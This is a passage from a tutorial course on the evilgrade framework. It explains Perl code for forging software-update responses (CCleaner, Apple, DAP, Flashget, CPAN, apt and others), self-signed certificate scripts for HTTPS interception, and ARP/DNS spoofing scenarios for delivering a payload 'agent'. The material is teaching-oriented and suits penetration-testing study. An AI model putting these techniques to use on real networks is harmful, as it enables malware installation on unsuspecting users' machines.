    my $base = $self->{'Base'}->{'path'}."/".$f;
    my ($name) = $f =~ m/([^\.]+)\.pm/;

    delete $INC{$self->{'Base'}->{'path'}."/".$name};

    $self->printd("Loading module: $base\n");
    my $result = do($base);
    ...
    my $object = "$self->{'Base'}->{'path'}::$name";
    my $module;
    if (eval { $module = $object->new()}){ #Verify object's creation
        $mods++;
        $module = $object->new();
        $modules->{$name} = $module;
    }else{
        $self->println("Error: module ($base): $@\n");
    }
}
  • The directory listing filters out ., .., and .svn.
  • For each file, $name is extracted from the filename (everything before .pm).
  • delete $INC{...} clears Perl's module cache so a module reloaded later actually re-runs rather than being skipped.
  • do($base) executes the file, which defines the module's package.
  • The object class is built as modules::<name>, and $object->new() is called inside eval to catch failures gracefully, storing successful instances in the $modules hash keyed by name.

Why this way: dynamic loading keeps the core decoupled from the growing set of attack modules; each module is self-contained and discovered at startup.

Validating a module's agent payload (isrcore/webserver.pm)

sub loadmodule {
    my $self   = shift;
    my $module = shift;
    local *FILE;
    my $error;

    my $agent = $module->{'Base'}->{'options'}->{'agent'}->{'val'};

    ( $agent, undef, undef, undef, $error ) = $self->checkagent($agent);
    return "Agent ($agent) did not exists\n" if ($error);

    $module->{'Base'}->{'options'}->{'url_file'}->{'val'}     = '';
    $module->{'Base'}->{'options'}->{'url_file_ext'}->{'val'} = '';

    #Agent size
    my $agentsize = -s $agent;
    $module->{'Base'}->{'options'}->{'agentsize'}->{'val'} = $agentsize;

    my ( $digest, $merror ) = isrcore::utils::getmd5($agent);
    $module->{'Base'}->{'options'}->{'agentmd5'}->{'val'} = $digest;

    my ( $digest, $merror ) = isrcore::utils::getsha256($agent);
    $module->{'Base'}->{'options'}->{'agentsha256'}->{'val'} = $digest;

    foreach my $request ( @{ $module->{'Base'}->{'request'} } ) {
        if ( $request->{'type'} eq 'file' ) {
            open( FILE, '<' . $request->{'file'} )
                || return
                "[$self->{'Base'}->{'whoami'}] - (*) Filename $request->{'file'} did not exists\n";
            close(FILE);
        }
    }
    return 1;
}
  • The agent path comes from the module's agent option; checkagent resolves/validates it and returns an error flag.
  • -s $agent computes the file size in bytes, stored back into the module's options.
  • MD5 and SHA256 digests are computed via isrcore::utils helpers—these feed fake update manifests that clients verify.
  • The final loop confirms that every request of type file references an existing file, failing early with a clear message if not.

Why this way: all metadata needed to serve a believable response is precomputed once at load time, not per request.

Matching a request to a module (isrcore/webserver.pm)

    $buff =~ /^[\w]+[ \t]+([\S ]+)[\t ]+HTTP\/[\d]\.[\d]\r\n$/i;  #Get request
    my $creq = $1;
    ...
    my $vh        = "novirtual";
    my $useragent = "none";
    ...
    while ( $buff = <$socket> ) {    #Get headers
        print dump($buff);
        if ( $buff =~ /^\r\n$/ ) {
            last;
        }
        if ( $buff =~ /^host\:[ \t]+([\.\w-_]+)[\r\:\d\n]+$/i )
        {
            $vh = $1;
        } elsif ( $buff =~ /^host\:([\.\w-_]+)[\r\:\d\n]+$/i )
        {
            $vh = $1;
        } elsif ( $buff =~ /^User\-Agent\: (.*?)$/ )
        {
            $useragent = $1;
        }
    }
    ...
    foreach my $module ( @{ $self->{'request'} } ) {
        if ($module->{'Base'}->{'vh'} !~ $vh)
        {
            if (!defined($module->{'Base'}->{'useragent'}))
            {
                ...
  • The first regex pulls the request path ($creq) from the HTTP request line.
  • The header loop stops at the blank line (\r\n) separating headers from body, capturing the Host: value into $vh and the User-Agent: into $useragent.
  • The matching loop iterates active modules ($self->{'request'}), skipping any whose configured vh doesn't match the request's host—unless a useragent rule applies to override that decision.

Why this way: separating virtualhost and user-agent matching lets a single running server impersonate many update endpoints simultaneously and target narrow client fingerprints.

Common Mistakes

1. Forgetting the $INC cache invalidation when reloading modules

Perl caches loaded files in %INC. Learners editing a module and reloading often see stale behavior. The delete $INC{...} line in loadmodules exists precisely to force a fresh do(). If you add custom load logic, replicate this clearing or your changes won't take effect.

2. Assuming $vh !~ $vh is a literal string comparison

The matching code uses Perl's !~ regex operator, treating the module's vh as a pattern. A module vh containing regex metacharacters (dots, etc.) can match more hosts than intended. Learners expecting exact-string matching get surprising matches—remember it's pattern-based, and that a dot matches any character.

3. Overlooking that each connection runs in a forked child

Because accept_client forks, any state you set in the child (counters, open files, variables) does not propagate back to the parent. Learners who try to accumulate per-request state in the server object will find it lost after the child exits. Persist shared state outside the process (files, IPC) rather than in-memory on the parent.

Real-World Use Case

Suppose you're authorized to test whether a legacy desktop application's auto-updater is vulnerable to man-in-the-middle update injection. You write a module whose vh matches the updater's check-in host (e.g., update.vendor.com) and point an agent option at your benign proof-of-concept payload. On startup, main.pm loads your module and webserver.pm's loadmodule precomputes its size and hashes. When the target machine (with DNS pointed at your box) requests an update, response reads the Host: and User-Agent: headers, matches your module, and serves the fake manifest and payload—demonstrating the vulnerability in a controlled test.

Next Steps

Study the remainder of response—how a matched module's request entries build the actual HTTP response and inject the agent payload—and then examine an individual module file under modules/ to see how vh, useragent, and request structures are defined.

Lesson 3

SSL/TLS and Certificates

SSL/TLS and Certificates

1. Overview

This lesson explores how SSL/TLS certificates are generated and used to serve HTTPS traffic, and why this matters for a tool like evilgrade, which demonstrates how insecure software-update mechanisms can be exploited. You'll learn the difference between self-signed certificates and CA-signed certificates, how to generate your own test certificates with the repository's helper scripts, and how a CA-signed certificate relates to intercepting HTTPS update traffic. Understanding certificates is foundational: many "secure" update systems fail precisely because they don't validate certificates correctly, and knowing how certs are built helps you reason about those failures.

2. Key Concepts

SSL/TLS Serving

  • Name: Serving content over an encrypted channel requires presenting a certificate that binds a public key to an identity (hostname). The client uses this certificate to establish trust and encrypt the session.
  • Example: A padlock icon in your browser means the server presented a certificate that your browser trusts for that hostname.
  • In the code: extra/gen-self-cert.sh produces the *-cert.pem and *-key.pem pair that an SSL server loads to serve encrypted traffic for a given host.

Self-Signed Certificates

  • Name: A self-signed certificate is signed by its own private key rather than by a trusted Certificate Authority. It provides encryption but no externally-verifiable identity.
  • Example: Like signing your own ID card—it's valid to you, but a stranger has no reason to trust it.
  • In the code: gen-self-cert.sh uses openssl req -x509, which produces a certificate signed with the same key it just generated.

CA-Signed Certificates

  • Name: A certificate signed by a Certificate Authority (CA). Clients that trust the CA automatically trust certificates it signs. This is the chain-of-trust model used on the public web.
  • Example: A passport issued by a government—any border agent who trusts the government trusts the passport.
  • In the code: gen-self-cert-signed-with-ca.sh uses openssl ca to sign a certificate request against an existing CA defined in /etc/openssl.cnf.

Certificate vs. Private Key

  • Name: Every certificate pairs a public certificate (shared with clients) and a private key (kept secret on the server). The key proves ownership of the certificate.
  • Example: The certificate is your published mailbox address; the private key is the only key that opens that mailbox.
  • In the code: Both scripts end by renaming the generated files into a *-cert.pem/*.pem (public) and *-key.pem (private) naming convention.

HTTPS Update Interception

  • Name: If an updater connects over HTTPS but does not strictly validate the server certificate, an attacker who can present any certificate (even self-signed) can impersonate the update server.
  • Example: An app that accepts any ID card as long as it's shaped like one—trivial to forge.
  • In the code: evilgrade generates its own certificates (via these scripts) to serve malicious update payloads over SSL to clients that fail to validate properly.

3. Code Walkthrough

Generating a Self-Signed Certificate

File: extra/gen-self-cert.sh

if [ $# -ne 1 ]
then
echo "$0 [host_name]"
exit 0
fi
HOST="$1"

openssl genrsa -out key.pem 1024
openssl rsa -noout -text -in key.pem
openssl req -new -key key.pem -out req.pem
openssl req -x509 -key key.pem -in req.pem -out cert.pem -days 365

mv cert.pem "$HOST-cert.pem"
mv key.pem "$HOST-key.pem"

Logical breakdown:

  • Argument check (if [ $# -ne 1 ]): The script requires exactly one argument—the hostname. If missing, it prints usage and exits. HOST="$1" captures that hostname.
  • openssl genrsa -out key.pem 1024: Generates a 1024-bit RSA private key, saved to key.pem.
  • openssl rsa -noout -text -in key.pem: Prints the key details to the terminal for inspection; it does not write a file (-noout).
  • openssl req -new -key key.pem -out req.pem: Creates a Certificate Signing Request (CSR) using that key. You'll be prompted interactively for subject fields (country, org, common name, etc.).
  • openssl req -x509 -key key.pem -in req.pem -out cert.pem -days 365: The -x509 flag tells OpenSSL to self-sign and emit an actual certificate (not just a request), valid for 365 days.
  • mv commands: Rename the outputs to a host-specific convention so a server can load <host>-cert.pem and <host>-key.pem.

Why written this way: Self-signing in one script gives you a working cert/key pair with no external CA—ideal for quick testing or for a tool that intentionally serves its own certificate.

Signing a Certificate with a CA

File: extra/gen-self-cert-signed-with-ca.sh

The script begins with a shebang, several explanatory comments (including notes to check /etc/openssl.conf, copy cacert.pem to certs/my-ca.pem, and a note that signing against a CA is "Not required right know" — the typo is in the source), and an argument-check block that requires exactly one argument and stores it as name=$1. The core signing logic follows:

#need /etc/openssl.cnf and ca created on /var/ssl or whatever...
openssl req -new -nodes -out req.pem -config /etc/openssl.cnf   
openssl req -in req.pem -text -verify -noout 
openssl ca -out cert.pem -config /etc/openssl.cnf -infiles req.pem
mv privkey.pem "$1-key.pem"
mv req.pem "$1-req.pem"
mv cert.pem "$1.pem"

Logical breakdown:

  • openssl req -new -nodes -out req.pem -config /etc/openssl.cnf: Creates a new CSR. -nodes means the generated private key is not encrypted (no passphrase), and the subject/key settings come from the config file.
  • openssl req -in req.pem -text -verify -noout: Displays and verifies the request so you can confirm it's well-formed before signing.
  • openssl ca -out cert.pem -config /etc/openssl.cnf -infiles req.pem: This is the key difference from the self-signed script. openssl ca signs the request using the CA defined in the config, producing a certificate whose issuer is your CA.
  • mv commands: Rename the generated private key, request, and certificate using the supplied name ($1)—the private key becomes <name>-key.pem, the request <name>-req.pem, and the certificate <name>.pem.

Why written this way: Signing against a CA lets you simulate a realistic trust chain. A client configured to trust your CA will accept these certificates without warnings—useful for demonstrating interception when a client validates the chain but trusts the wrong CA.

Note on the certificate format: Certificate files in PEM format contain a human-readable text summary (issuer, subject, validity dates, key size, signature algorithm, and X.509 extensions such as CA:FALSE) followed by the Base64-encoded -----BEGIN CERTIFICATE----- block. The scripts above produce files in this format; you can inspect any such file with openssl x509 -in <file> -text -noout to read those fields.

4. Common Mistakes

Confusing the CSR with the certificate

  • Mistake: Treating req.pem (the request) as if it were the final certificate.
  • Why it happens: Both are produced by openssl req, and the filenames look similar.
  • How to avoid it: Remember the pipeline: key → request (CSR) → certificate. Only the output of openssl req -x509 or openssl ca is a usable certificate.

Expecting a self-signed cert to be trusted silently

  • Mistake: Serving a self-signed cert (from gen-self-cert.sh) and being surprised that clients show trust warnings.
  • Why it happens: Self-signed certs encrypt traffic but have no CA in their chain, so nothing external vouches for them.
  • How to avoid it: Use the CA-signing script and distribute/trust the CA when you need clients to accept the certificate without warnings.

Running the CA script without a configured CA

  • Mistake: Running gen-self-cert-signed-with-ca.sh on a machine with no /etc/openssl.cnf or no initialized CA directory.
  • Why it happens: The script's comments explicitly call out these prerequisites, but they're easy to skip.
  • How to avoid it: Confirm /etc/openssl.cnf exists and your CA (keys, serial, index) is set up before invoking openssl ca. For quick tests, prefer the simpler self-signed script, as the comments themselves suggest.

5. Real-World Use Case

Suppose you're testing whether a desktop application's auto-updater can be tricked into installing a malicious payload over HTTPS. You run gen-self-cert.sh update.example.com to produce update.example.com-cert.pem and update.example.com-key.pem, then configure evilgrade to serve its fake update using that key pair. If the target updater connects over HTTPS but doesn't validate the certificate chain, your self-signed certificate is accepted and the interception succeeds—demonstrating a real vulnerability. If the updater does validate against a specific CA, you'd instead use the CA-signing workflow to produce a cert the client trusts, revealing whether chain validation is correctly enforced.

6. Next Steps

Next, study how an SSL server actually loads these *-cert.pem/*-key.pem pairs at runtime (for example via a Perl SSL socket layer) and how clients perform—or skip—certificate chain validation, which is the core mechanism behind HTTPS update interception.

📝 Module Quiz

Answer all questions to check your understanding. 70% to pass.

Q1. Why does evilgrade include a built-in DNS server as part of its update-hijacking attack?

Q2. In evilgrade's DNS server, what happens when a query arrives for a hostname that is NOT in the hijack (static) list?

Q3. A learner sets DNSAnswerIp and DNSEnable=1, starts evilgrade, but finds that no hostnames receive spoofed answers. What is the most likely cause?

Q4. When evilgrade's web server receives multiple concurrent requests for different update endpoints, how does it decide which module should serve a given request?

Q5. An auto-updater connects to the attacker's server over HTTPS but accepts a self-signed certificate without warning. What does this reveal, and which workflow would be needed if the client instead strictly validated a trusted CA chain?

Module 4

Module System: Anatomy of an Exploit Module

Study how individual application modules are structured and how they emulate fake updates.

Lesson 1

Module Structure Fundamentals

Module Structure Fundamentals

Overview

In evilgrade, each supported application lives in its own Perl module under modules/. These modules are small, declarative data structures that tell the framework how to recognize an update request from a vulnerable application and what fake response to deliver. This lesson teaches you to read and write the $base hash that every module is built around—its required identity fields, its configurable options, and the request-handling rules that map incoming update checks to responses. Mastering this structure is the foundation for adding support for any new application.

Key Concepts

1. The $base Module Descriptor

Every module is essentially one large hash reference ($base) that describes the target application. The framework consumes this hash; your module never contains imperative logic beyond the constructor.

  • Example: Think of $base as a filled-out form describing a target: who it is, what versions are vulnerable, and what to send back.
  • In the code: All three files (ccleaner.pm, divxsuite.pm, appleupdate.pm) define my $base = { ... } and pass it into the object via new.

2. Required Identity Fields

A module must identify itself with a stable set of fields so the framework can list it and route traffic. The core fields are name, version, author, and vh (virtual host).

  • Example: Like a package manifest—a name, a version number, an author, and the domain it impersonates.
  • In the code: In ccleaner.pm:
'name'    => 'Ccleaner',
'appver'  => '<= 2.30.1130',
'version' => '1.0',
'author'  => ['German Rodriguez < grodriguez +[AT]+ faradaysec.com >'],
'description' => qq{},
'vh'          => 'www.ccleaner.com',

Note that vh can be a regex alternation across multiple hostnames, as in appleupdate.pm:

'vh' =>
    '(swcatalog.apple.com|swcdn.apple.com|itunes.com|swscan.apple.com)',

3. The request Handler List

The request key holds an ordered array of rules. Each rule matches an incoming request (req as a regex) and defines the response type: file, string, agent, or install. The framework walks the list and applies the first matching rule.

  • Example: Like a web server's routing table—each entry says "if the URL looks like X, respond with Y."
  • In the code: In divxsuite.pm, the first rule serves an XML file, the second serves the agent binary:
'request' => [
    {   'req' => '/AutoUpdate/AutoUpdate\-[0-9.]+.xml',    #regex friendly
        'type'   => 'file',    #file|string|agent|install
        ...
        'file' => './include/divxsuite/divxsuite-update.xml',
    },
    {   'req'    => '.exe',     #regex friendly
        'type'   => 'agent',    #file|string|agent|install
        ...
    },
],

4. Options and Their Defaults

The options hash declares user-configurable settings. Each option has a val (the default) and usually a desc (shown in the UI). Options flagged dynamic => 1 have their val evaluated as Perl code; hidden => 1 keeps them out of the normal option listing.

  • Example: Like a config file with defaults the operator can override at runtime.
  • In the code: In appleupdate.pm:
'options' => {
    'agent' =>
        { 'val' => './agent/agent.exe', 'desc' => 'Agent to inject' },
    'enable' => {
        'val'  => 1,
        'desc' => 'Status'
    },
    'rnd' => {
        'val'     => 'isrcore::utils::RndNum(5)',
        'hidden'  => 1,
        'dynamic' => 1,
    },
},

5. The Constructor Pattern

Every module ends with an identical new subroutine that wraps $base into a blessed object. This is boilerplate—you copy it unchanged.

  • Example: A standardized wrapper that hands your "form" to the framework.
  • In the code: Identical across all three files.

Code Walkthrough

Identity + Version Targeting (modules/ccleaner.pm)

my $base = {
    'name'    => 'Ccleaner',
    'appver'  => '<= 2.30.1130',
    'version' => '1.0',
    'author'  => ['German Rodriguez < grodriguez +[AT]+ faradaysec.com >'],
    'description' => qq{},
    'vh'          => 'www.ccleaner.com',
    ...
  • name is the human-readable module label used in listings.
  • appver documents which versions of the real application are vulnerable—it's descriptive metadata for the operator, not a strict match.
  • version is the module's version (not the application's); bump it when you change the module.
  • author is an array reference, even for a single author—keep the brackets.
  • vh is matched against the hostname of incoming requests to decide whether this module should handle the traffic.

Everything here is pure data; there's no logic, which makes modules easy to review and maintain.

A Multi-Rule Request Pipeline (modules/appleupdate.pm)

Apple's update flow requires several responses, so its request list is longer and ordered:

'request' => [
    {   'req'    => '\.sucatalog$',    #regex friendly
        'type'   => 'file',
        ...
        'file' => './include/appleupdate/appleupdate_catalog.xml'
    },
    ...
    {   'req'     => '/closed.html',            #regex anything
        'type'    => 'string',
        ...
        'cheader' => "HTTP/1.1 302 Found\r\n"
            . "Location: http://swcatalog.apple.com/update<%RND%>.exe \r\n"
            . "Content-Length: 0 \r\n"
            . "Connection: close \r\n\r\n",
    },
    {   'req'    => '.exe',                     #regex friendly
        'type'   => 'agent',
        ...
    },
],
  • The catalog request (.sucatalog) serves a static XML file that points the client toward a malicious .dist.
  • The /closed.html rule shows a custom response header (cheader) issuing a 302 redirect. The <%RND%> token is a placeholder that the framework substitutes at request time using the rnd option.
  • The final .exe rule is the catch that delivers the agent binary (type => 'agent'). This "serve the payload last" ordering is a consistent pattern: earlier rules steer the client toward requesting the executable, and the last rule hands it over.

Dynamic Option Values (modules/divxsuite.pm)

'url' => {
    'val' =>
        "'http://versions.divx.com/divx/autoupdateC/'.isrcore::utils::RndAlpha(isrcore::utils::RndNum(1)).'.exe'",
    'hidden'  => 1,
    'dynamic' => 1,
},
'size' => {
    'val'     => " '2'.isrcore::utils::RndNum(7) ",
    'dynamic' => 1
},
  • Because dynamic => 1, the string in val is treated as Perl code and evaluated, not used literally. Here url builds a randomized download URL and size fabricates a plausible file size.
  • hidden => 1 keeps url out of the standard options listing—operators shouldn't tweak internally generated values.
  • These dynamic options feed the templating tokens (like <%RND1%>) and the XML/response files the module serves.

Common Mistakes

1. Confusing version with appver

Learners often set version to the target application's version. version is the module's own version; appver is the human-readable description of vulnerable application versions. Keep them distinct—bump version when you edit the module, and use appver only as documentation.

2. Forgetting to escape regexes in req and vh

The req and vh strings are interpreted as regular expressions. A dot in .sucatalog matches any character, which is usually harmless but can cause over-matching. Where exactness matters, escape literal dots (\.sucatalog$) as the Apple catalog rule does. Mis-ordered or overly broad req patterns can also shadow later rules, since matching stops at the first hit.

3. Treating dynamic option values as plain strings

A value like " '2'.isrcore::utils::RndNum(7) " only works because dynamic => 1 tells the framework to evaluate it. Omitting that flag means the literal Perl source is sent to the client. Conversely, adding dynamic => 1 to a plain string (e.g., a path) will try to evaluate it as code and likely fail.

Real-World Use Case

Suppose a new build of a Windows application performs an update check against updates.example.com/latest.xml and then downloads an .exe. To support it, you'd copy an existing module like ccleaner.pm, set name, version, author, and point vh at updates.example.com. Then you'd add two request rules: one with type => 'file' matching latest\.xml that serves a crafted XML (stored under ./include/yourapp/), and a final type => 'agent' rule matching .exe to deliver the payload. You'd expose an agent and enable option, plus a dynamic random token if your crafted response needs unique URLs—exactly the pattern seen across all three files here.

Next Steps

Now that you can read the $base descriptor, study how the framework's request engine actually consumes the request list and performs token substitution (<%RND%>, <%RND1%>)—that's where the static crafted files under ./include/ and the dynamic options come together at request time.

Lesson 2

Simple Download-Replacement Modules

Simple Download-Replacement Modules

Overview

This lesson teaches you how evilgrade modules hijack an application's update mechanism to serve a malicious "agent" (payload) instead of a legitimate binary. Evilgrade is a framework for exploiting insecure software update processes: when a vulnerable app checks for updates over an attacker-controlled network, evilgrade impersonates the update server and feeds the app a poisoned response. We'll trace three of the simplest modules—dap.pm, flashget.pm, and autoit3.pm—to understand how a module declares which URLs to intercept, how it serves fake "update available" metadata from a local include file, and how it ultimately delivers the agent executable. Understanding these modules matters because they illustrate, in minimal form, the entire attack chain that more complex modules build upon.

Key Concepts

1. The Module as a Declarative Config

Each evilgrade module is essentially a Perl data structure ($base) describing a target application and how to respond to its requests. There's almost no logic—just data. The framework engine reads this structure and acts on it.

  • Example: Think of it like a restaurant menu. The module doesn't cook anything; it just lists "when the customer asks for X, serve them Y."
  • In the code: Every module defines my $base = { ... } with a name, vh (virtual host), a request list, and options. The only function is new, a constructor that wraps $base.

2. Virtual Host (vh) — The DNS Redirect Target

The vh field names the hostname the real application contacts for updates. Once an attacker redirects that hostname (via DNS spoofing, rogue DHCP, ARP poisoning, etc.) to the evilgrade server, this module activates for requests to that host.

  • Example: Like forwarding someone's mail to your own address—they still write to "update.speedbit.com," but you receive it.
  • In the code: 'vh' => '(update.speedbit.com)' in dap.pm, '(www.flashget.com)' in flashget.pm, 'www.autoitscript.com' in autoit3.pm.

3. Request Matching by Regex

The request array is an ordered list of handlers. Each entry has a req regex matched against the incoming request path, plus a type that decides the response kind.

  • Example: A phone switchboard routing calls—"if they dial extension matching .exe, connect them to the payload line."
  • In the code: 'req' => '^/cgi-bin/update.dll' or 'req' => '.exe'. The engine walks entries and uses the first match.

4. Response Types: file, string, agent, install

The type field tells the engine what to return: - file — serve a local include file (the fake update metadata/payload descriptor) - string — return a literal string response - agent — serve the malicious executable - install — a final confirmation/redirect step

  • Example: A vending machine with different slots: one dispenses an instruction card, another dispenses the actual product.
  • In the code: Each request entry sets 'type' => 'file' | 'string' | 'agent' | 'install'.

5. File-Based Includes as Fake Update Payloads

Rather than hardcoding update metadata, modules point to a file on disk (under ./include/...) that mimics the real update server's response. The parse flag enables templating so dynamic values (version, size) get substituted.

  • Example: A forged letter template where you fill in the blanks (version number, date) to make it look authentic.
  • In the code: 'file' => './include/flashget/flashget_fgupdate.ini' with 'parse' => 1.

Code Walkthrough

Section 1: The Two-Step Flow in flashget.pm

This is the clearest minimal example of the full attack.

# File: modules/flashget.pm
    'vh'          => '(www.flashget.com)',
    'request'     => [
        {   'req'    => '/updatecheck.php?',    #regex friendly
            'type'   => 'file',                 #file|string|agent|install
            'method' => '',                     #any
            'bin'    => 0,
            'string' => '',
            'parse'  => 1,
            'file' => './include/flashget/flashget_fgupdate.ini',
        },

        {   'req'    => '.exe',                 #regex friendly
            'type'   => 'agent',                #file|string|agent|install
            'method' => '',                     #any
            'bin'    => 1,
            'string' => '',
            'parse'  => 0,
            'file'   => ''
        },
    ],

Trace the flow:

  1. Update check — Flashget asks www.flashget.com/updatecheck.php?.... The first entry matches (/updatecheck.php?). Type file, so evilgrade returns the contents of ./include/flashget/flashget_fgupdate.ini. Because parse => 1, placeholders in that file (e.g., the version) are filled in using options. bin => 0 means it's served as text, not raw binary.
  2. The fake metadata tells the app a new version exists and points it at a download URL ending in .exe.
  3. Payload download — Flashget requests that .exe. The second entry matches (.exe), type agent, bin => 1. Evilgrade serves the configured agent executable as raw binary.

The version option supplies the fake version number inserted during parsing:

# File: modules/flashget.pm
        'version' => {
            'val'     => '\'7.2.\'.isrcore::utils::RndNum(2)',
            'hidden'  => 1,
            'dynamic' => 1,
        },

dynamic => 1 means val is a Perl expression evaluated at runtime—here producing 7.2. plus two random digits, so the "update" always looks newer than whatever the victim has installed.

Section 2: The agent Option — What Actually Gets Served

Every module defines an agent option pointing at the executable delivered when an agent-type request matches.

# File: modules/autoit3.pm
    'options' => {
        'agent' =>
            { 'val' => './agent/agent.exe', 'desc' => 'Agent to inject' },
        'enable' => {
            'val'  => 1,
            'desc' => 'Status'
        },
  • agent.val is the path to the malicious binary. In a real engagement the operator replaces this with their own payload.
  • enable.val => 1 means the module is active; the engine skips disabled modules.

autoit3.pm also demonstrates padding the fake metadata to look realistic:

# File: modules/autoit3.pm
        'filetime' => {
            'val' =>
                " '20080'.isrcore::utils::RndNum(1) . isrcore::utils::RndNum(7,1,2)  ",
            'dynamic' => 1
        },
        'filesize' => {
            'val'     => " '2'.isrcore::utils::RndNum(5) ",
            'dynamic' => 1
        },

These dynamic values are substituted into ./include/autoit3/autoitscript.dat when it is parsed and served, making the forged .dat response convincing.

Section 3: A Richer Flow in dap.pm — Four Steps

dap.pm shows more handler types in sequence.

# File: modules/dap.pm
    'request'     => [
        {   'req'    => '^/cgi-bin/Update.dll',    #regex friendly
            'type'   => 'string',                  #file|string|agent
            ...
            'string' => 'OK',
            ...
        },
        {   'req'    => '^/cgi-bin/update.dll',          #regex friendly
            'type'   => 'file',                          #file|string|agent
            ...
            'parse'  => '1',
            'file'   => './include/dap/dap_update.dll'
        },
        {   'req'    => '.exe',                          #regex friendly
            'type'   => 'agent',                         #file|string|agent
            'bin'    => 1,
            ...
        },
        {   'req'    => 'updateok',    #regex friendly
            'type'   => 'install',     #file|string|agent|install
            ...
            'string' =>
                '<html><script>window.location="http://www.speedbit.com/finishupdate.asp?R=0"</script></html>',
            ...
        }
    ],

Logical blocks:

  1. Update.dll → string "OK" — a handshake/probe the app makes first; evilgrade just replies OK.
  2. update.dll → file — serves parsed fake update metadata from ./include/dap/dap_update.dll.
  3. .exe → agent — delivers the payload binary.
  4. updateok → install — after the victim runs the agent, the app requests a completion URL; evilgrade returns an HTML snippet that redirects the browser to the real site, so everything looks normal to the user.

Note the case sensitivity: Update.dll and update.dll are two separate entries because the regexes are case-sensitive. The app genuinely requests both at different stages.

Common Mistakes

1. Assuming Request Order Doesn't Matter

The engine matches entries top-down and uses the first match. A broad regex like .exe placed before a specific one could swallow requests meant for a narrower handler. In these modules the narrow metadata checks come first and the catch-all .exe agent handler comes last—on purpose. If you reorder them, the chain breaks.

2. Confusing string.file with file-type

Learners see the string and file keys present in every entry and assume all are used. They're not—only the key matching the entry's type is active. A type => 'agent' entry ignores its empty string, file, and even uses the module-level agent option instead of its own file field. Always read type first, then look at the one relevant field.

3. Forgetting the Include File Must Mimic the Real Protocol

The magic isn't in the module alone—it's the paired include file (e.g., flashget_fgupdate.ini). Beginners edit the module's version option and wonder why nothing changes. If the include file doesn't actually contain the placeholder the option fills, or doesn't match the format the app expects, the victim app rejects the fake update. The module and its include file are a matched pair.

Real-World Use Case

You're a penetration tester assessing a client whose employees use Flashget (or a similarly insecure updater) on an open office Wi-Fi. During the engagement you perform a man-in-the-middle attack (ARP spoofing + DNS redirect) pointing www.flashget.com at your evilgrade host. You set the agent option to a benign beacon binary signed for the test, start the server, and wait. When a victim's Flashget performs its periodic update check, flashget.pm serves the forged flashget_fgupdate.ini announcing a newer version, the app downloads your agent as a legitimate-looking .exe, and you demonstrate code execution—proving the client's update process needs signature verification over HTTPS.

Next Steps

Once you're comfortable with these static, file-based modules, study modules that use parse with dynamic templating and embedded Perl handlers to generate responses on the fly—and then examine how the evilgrade core engine actually dispatches requests against the request array.

Lesson 3

Complex Manifest/Metadata Modules

Complex Manifest/Metadata Modules

1. Overview

This lesson explores how evilgrade modules forge the update manifests and metadata files that package managers and language ecosystems trust before downloading payloads. Unlike simple modules that swap a single binary, the cpan, apt, and cygwin modules must serve a realistic-looking set of control files (checksums, package indexes, INI descriptors) in addition to the malicious agent. Understanding these modules matters because the trust relationship between a client and its update server lives in these manifests — if you can forge them convincingly, the client installs your payload willingly. By the end, you'll understand how a module declares the manifest files it serves, how template placeholders get populated with host and payload data, and how version-check logic differs across three real applications.

2. Key Concepts

Request Routing by Regex

Each module defines a request array. Every entry matches an incoming request path against a regex (req) and decides how to respond: serve a file, a static string, the agent payload, or an installer.

  • Example: A waiter who reads your order ("the checksums file," "the .deb") and brings a specific prepared dish for each phrase.
  • In the code: In apt.pm, 'req' => 'Packages*.bz2' routes to a prepared index file, while 'req' => '\.deb' routes to the agent.

Manifest/Metadata vs. Payload Responses

Some request entries have 'type' => 'file' or 'string' (metadata) and others 'type' => 'agent' (the payload). The metadata must pass integrity checks so the client proceeds to download the payload.

  • Example: Forging both a restaurant menu and the meal — the menu has to look legitimate so the customer orders.
  • In the code: cygwin.pm serves setup.ini (metadata, type => file) and a .tar.bz2 (payload, type => agent).

Template Population via Dynamic Options

The options hash holds values that get substituted into include templates. Options marked 'dynamic' => 1 have their val evaluated as Perl code at request time, injecting fresh random numbers, timestamps, or payload-derived names.

  • Example: A mail-merge letter where <%NAME%> is filled in per recipient — except here some fields run live code.
  • In the code: cygwin.pm's 'timestamp' => { 'val' => 'time + + 604800', 'dynamic' => 1 } computes a future expiry at runtime.

Parse Flag for Placeholder Substitution

The 'parse' => 1 flag on a request tells the engine to scan the served file for placeholders (like <%MODULE%>, <%RND1%>) and replace them with option values before sending.

  • Example: A stencil you lay over a template file so only the gaps get painted.
  • In the code: Every metadata entry in apt.pm and cygwin.pm sets 'parse' => 1; the agent entries set 'parse' => 0 (binary payload, nothing to substitute).

Version Spoofing (appver and version option)

appver is documentation describing which app versions are vulnerable. The version option is the value the module advertises to convince the client an update is available.

  • Example: Telling someone "there's a newer release" by quoting a higher-looking version string.
  • In the code: cpan.pm and apt.pm use '\'7.\'.isrcore::utils::RndNum(2)' (a dynamic high version), whereas cygwin.pm uses a fixed, carefully-crafted '3.1.33-7'.

3. Code Walkthrough

Serving a forged checksum manifest (modules/cpan.pm)

'request'     => [
    {   'req'    => '/CHECKSUMS',               #regex friendly
        'type'   => 'file',                     #file|string|agent|install
        'method' => '',                         #any
        'bin'    => 0,
        'string' => '',
        'parse'  => 1,
        'file'   => './include/cpan/CHECKSUMS',
    },
    {   'req'    => '(.tar.gz|.gz|.zip)',       #regex friendly
        'type'   => 'agent',                    #file|string|agent|install
        'method' => '',                         #any
        'bin'    => 1,
        'string' => '',
        'parse'  => 0,
        'file'   => ''
    },
],
  • The first entry matches CPAN's /CHECKSUMS request. CPAN clients fetch this file to verify the integrity of modules they download, so forging it is the key to the attack.
  • 'type' => 'file' plus 'file' => './include/cpan/CHECKSUMS' means the engine reads that template from disk.
  • 'parse' => 1 tells the engine to substitute placeholders inside the template — this is where the forged checksum for your payload gets stitched in.
  • 'bin' => 0 marks it as text (safe to parse); the agent entry below uses 'bin' => 1 because it's a binary tarball that must be sent byte-for-byte with 'parse' => 0.
  • The second entry matches any archive extension and serves 'type' => 'agent' — the actual payload. Order matters: the specific /CHECKSUMS match is listed before the broad archive match.

Dynamic options feeding the templates (modules/apt.pm)

'options' => {
    ...
    'version' => {
        'val'     => '\'7.\'.isrcore::utils::RndNum(2)',
        'hidden'  => 1,
        'dynamic' => 1,
    },
    'module' => {
        'val' =>
            'join("",(split(/\//,$module->{\'Base\'}->{\'options\'}->{\'brequest\'}->{\'val\'}))[-1]) ',
        'hidden'  => 1,
        'dynamic' => 1,
    },
    'rnd1' => {
        'val'     => 'isrcore::utils::RndNum(5)',
        'hidden'  => 1,
        'dynamic' => 1,
    }
},
